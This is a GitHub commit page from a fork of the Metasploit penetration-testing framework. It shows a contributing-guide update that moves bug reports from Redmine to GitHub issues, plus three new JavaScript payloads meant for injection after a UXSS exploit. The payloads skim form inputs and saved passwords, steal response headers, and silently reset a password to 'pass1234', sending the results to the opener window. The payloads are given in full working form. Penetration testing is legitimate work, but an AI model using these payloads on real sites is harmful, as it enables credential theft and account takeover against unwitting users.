forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #3 from rapid7/master
bla
- Loading branch information
Showing
347 changed files
with
10,215 additions
and
2,900 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -3,13 +3,17 @@ | |
| Thanks for your interest in making Metasploit -- and therefore, the | ||
| world -- a better place! | ||
|
|
||
| Are you about to report a bug? If so, please use our [Redmine Bug | ||
| Tracker](https://dev.metasploit.com/redmine/projects/framework). An | ||
| account is required but it only takes a minute or two. | ||
| Are you about to report a bug? Sorry to hear it. | ||
|
|
||
| Are you about to report a security vulnerability in Metasploit? | ||
| If so, please take a look at Rapid's [Vulnerability | ||
| Disclosure Policy](https://www.rapid7.com/disclosure.jsp) policy. | ||
| Here's our [Issue tracker](https://github.com/rapid7/metasploit-framework/issues). | ||
| Please try to be as specific as you can about your problem, include steps | ||
| to reproduce (cut and paste from your console output if it's helpful), and | ||
| what you were expecting to happen. | ||
|
|
||
| Are you about to report a security vulnerability in Metasploit itself? | ||
| How ironic! Please take a look at Rapid7's [Vulnerability | ||
| Disclosure Policy](https://www.rapid7.com/disclosure.jsp), and send | ||
| your report to [email protected] using [our PGP key](http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D). | ||
|
|
||
| Are you about to contribute some new functionality, a bug fix, or a new | ||
| Metasploit module? If so, read on... | ||
|
|
@@ -64,18 +68,14 @@ Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940) | |
| #### Bug Fixes | ||
|
|
||
| * **Do** include reproduction steps in the form of verification steps. | ||
| * **Do** include a link to the corresponding [Redmine](https://dev.metasploit.com/redmine/projects/framework) issue in the format of `SeeRM #1234` in your commit description. | ||
| * **Do** include a link to any corresponding [Issue](https://github.com/rapid7/metasploit-framework/issues) in the format of `See #1234` in your commit description. | ||
|
|
||
| ## Bug Reports | ||
|
|
||
| * **Do** report vulnerabilities in Rapid7 software directly to [email protected]. | ||
| * **Do** create a Redmine account and report your non-vulnerability bugs there. | ||
| * **Do** write a detailed description of your bug and use a descriptive title. | ||
| * **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug. | ||
| * **Don't** file duplicate reports - search for your bug before filing a new report. | ||
| * **Don't** report a bug on GitHub. Use [Redmine](https://dev.metasploit.com/redmine/projects/framework) instead. | ||
|
|
||
| Redmine issues [#8762](https://dev.metasploit.com/redmine/issues/8762) and [#8764](https://dev.metasploit.com/redmine/issues/8764) are a couple good examples to follow. | ||
|
|
||
| If you need some more guidance, talk to the main body of open | ||
| source contributors over on the [Freenode IRC channel](http://webchat.freenode.net/?channels=%23metasploit&uio=d4) | ||
|
|
||
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,33 @@ | ||
| /* steal_form.js: can be injected into a frame/window after a UXSS */ | ||
| /* exploit to steal any autofilled inputs, saved passwords, or any */ | ||
| /* data entered into a form. */ | ||
|
|
||
| /* keep track of what input fields we have discovered */ | ||
| var found = {}; | ||
| setInterval(function(){ | ||
| /* poll the DOM to check for any new input fields */ | ||
| var inputs = document.querySelectorAll('input,textarea,select'); | ||
| Array.prototype.forEach.call(inputs, function(input) { | ||
| var val = input.value||''; | ||
| var name = input.getAttribute('name')||''; | ||
| var t = input.getAttribute('type')||''; | ||
| if (input.tagName == 'SELECT') { | ||
| try { val = input.querySelector('option:checked').value } | ||
| catch (e) {} | ||
| } | ||
| if (input.tagName == 'INPUT' && t.toLowerCase()=='hidden') return; | ||
|
|
||
| /* check if this is a valid input/value pair */ | ||
| try { | ||
| if (val.length && name.length) { | ||
| if (found[name] != val) { | ||
|
|
||
| /* new input/value discovered, remember it and send it up */ | ||
| found[name] = val; | ||
| var result = { name: name, value: val, url: window.location.href, send: true }; | ||
| (opener||top).postMessage(JSON.stringify(result), '*'); | ||
| } | ||
| } | ||
| } catch (e) {} | ||
| }); | ||
| }, 200); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,17 @@ | ||
| /* steal_headers.js: can be injected into a frame/window after a UXSS */ | ||
| /* exploit to steal the response headers of the loaded URL. */ | ||
|
|
||
| /* send an XHR request to our current page */ | ||
| var x = new XMLHttpRequest; | ||
| x.open('GET', window.location.href, true); | ||
| x.onreadystatechange = function() { | ||
| /* when the XHR request is complete, grab the headers and send them back */ | ||
| if (x.readyState == 2) { | ||
| (opener||top).postMessage(JSON.stringify({ | ||
| headers: x.getAllResponseHeaders(), | ||
| url: window.location.href, | ||
| send: true | ||
| }), '*'); | ||
| } | ||
| }; | ||
| x.send(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,36 @@ | ||
| /* submit_form.js: can be injected into a frame/window after a UXSS */ | ||
| /* exploit to modify and submit a form in the target page. */ | ||
|
|
||
| /* modify this hash to your liking */ | ||
| var formInfo = { | ||
|
|
||
| /* CSS selector for the form you want to submit */ | ||
| selector: 'form[action="/update_password"]', | ||
|
|
||
| /* inject values into some input fields */ | ||
| inputs: { | ||
| 'user[new_password]': 'pass1234', | ||
| 'user[new_password_confirm]': 'pass1234' | ||
| } | ||
| } | ||
|
|
||
| var c = setInterval(function(){ | ||
| /* find the form... */ | ||
| var form = document.querySelector(formInfo.selector); | ||
| if (!form) return; | ||
|
|
||
| /* loop over every input field, set the value as specified. */ | ||
| Array.prototype.forEach.call(form.elements, function(input) { | ||
| var inject = formInfo.inputs[input.name]; | ||
| if (inject) input.setAttribute('value', inject); | ||
| }); | ||
|
|
||
| /* submit the form and clean up */ | ||
| form.submit(); | ||
| clearInterval(c); | ||
|
|
||
| /* report back */ | ||
| var message = "Form submitted to "+form.getAttribute('action'); | ||
| var url = window.location.href; | ||
| (opener||top).postMessage(JSON.stringify({message: message, url: url}), '*'); | ||
| }, 100); |
Oops, something went wrong.